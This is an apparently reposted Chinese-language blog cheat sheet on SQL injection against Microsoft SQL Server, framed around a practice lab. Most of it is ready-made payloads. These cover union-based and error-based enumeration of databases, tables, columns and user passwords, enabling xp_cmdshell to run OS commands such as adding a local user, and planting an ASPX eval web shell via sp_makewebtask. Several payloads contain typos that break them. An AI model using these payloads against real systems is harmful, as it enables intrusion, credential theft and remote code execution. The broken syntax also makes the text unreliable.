sql注入mssql篇
Posted 黑色天马安全小队
tags:
篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了sql注入mssql篇相关的知识,希望对你有一定的参考价值。
Mssql注入
+++union查询+++
拿mssqlilabs为例,当id=1的时候,如果查询结果是个字符型,union slect会有一个类型转换的问题,所以会爆类型转换的错误需要将id=-1 使得id=1没有回显的字符值,这样的话就可以用union查询返回回显点了
---查询版本:
Union select top 1 1,2,@@version-- 注释为两个减号
---查询当前数据库名:
因为mssql版本没有limit 和concat函数
所以此处使用top函数,查询几行
Union select top 1 1,2,db_name
---获取所有数据库名:
Union select top 1 1,2,name from master.sys.databases whwere name not in(select top n name from master.sys.databases)--
通过改变n的值获取所有数据库名
---获取表名:
id= -1 union select top 1 1,2,table_name from information_Schema.tables where table_name not in(select top n table_name from information_schema.tables)--
---获取列名:
id=-1 union select top 1 1,2,columns_name from information_schema.columns where table_name = 'users' and column_name not in (select top 1 column_name from information_schema.columns)--
---获取数据:
id=-1 union select top 1 1,username,password from users where usernamenot in(select top 1 username from users) and password not in (select top 1 password from users)--
+++报错注入+++
---判断注入点
id =1'
id=1 and 1=1
id=1 and 1=2
---判断是否为mssql数据库
id=1 and exists(select * from sysobjects)--正常为sqlserver
id=1 and exists(select count(*) from sysobject)--返回数值为sqlserver
---判断版本号
id=1 and @@version > 0
@@version是sqlserver的全局变量
---获取当前数据库
and db_name()>0
and 1=(select db_name())--
---判断当前权限
and 1=(select IS_SRVROLEMEMBER('n'))--
n=sysadmin、serveradmin、setupadmin、securityadmin、diskadmin、bulkadmin
---判断当前数据库角色是否为db_owner
id=1 and 1=(select is_member('db_owner'))--
如果是的话可以向网站目录写文件
---当前用户名字:
and user_name >0
类型转化int失败 将用户名显示出来
---查询所有数据库名
and 1=(select name from master.sys.databases where database_id=n)--
通过改变n值获取所有的数据库名
---获取数据库个数:
and 1=(select quotename(count(name))from master.sys.databases)--
---一次性获取数据库名
and 1=(select quotename(name) from master.sys.databases FOR XML PATH(''))--
---获取表名
and 1=(select top 1 table_name from information_schema.tables)--
---获取其他表明:
and 1=(select top 1 table_name from information_schema.tables where name not in ('第一个表名'))--
改变表名获取其他表名,直到报错
and 1= (select top 1 table_name from information_Schema.tables where name not in(select top n table_name from information_schema.tables))--
通过改变n的值获取所有的table值
and 1=(select quotename(table_name) from information_schema.tables FOR XML PATH(''))--
---获取字段名
and 1=(select top 1 column_name from information_schema.columns where table_name = 'user')--
---获取所有字段名:
and 1=(select top 1 column_name from information_schema.columns where table_name ='user' and column_name not in('id','username','password'))--
and 1=(select quotename(column_name) from information_schema.columns where table_name ='users'FOR XML PATH(''))--
+++mssql扩展+++
前提:数据库是db_owner权限
---xp_cmdshell执行系统命令
sqlserver2000默认开启,2005之后默认关闭,如果有sa账户可以用sp_configure开启
查看xp_cmdshell是否被禁用
and 1=(select count(*) from master.sys.sysobject where name ='xp_cmdshell')--
如果禁用了的话
id=1;exec sp_configure 'show advanced options' ,1;reconfigure;exec sp_configure 'xp+cmdshell' ,1;reconfigure--
exec sp_configure 'show advanced options' ,1
此处的 sp_configure 是修改系统配置的存储过程 show advanced options=1才被允许修改系统的高级配置,默认不开启
执行命令
id=1;exec master.sys.xp_cmdshell 'net user 123 123 /add'--
---sp_makewebtask(备份功能)
检测:
id=1 and 1=(select count(*) from master.dbo.sysobjects wherename='sp_makewebtask')--
写一句话:
id=1;exec sp_makewebtask 'c\inetpub\wwwroot\1.aspx','select"<%@ pagelanguage="jscript"%><%eval(requestitem["z"],"unsafe");%>"'
---xp_regread注册表读取
---xp_regwrite写入注册表
---xp_dirtree列目录
---xp_ntsec_enumdomains查看domain
以上是关于sql注入mssql篇的主要内容,如果未能解决你的问题,请参考以下文章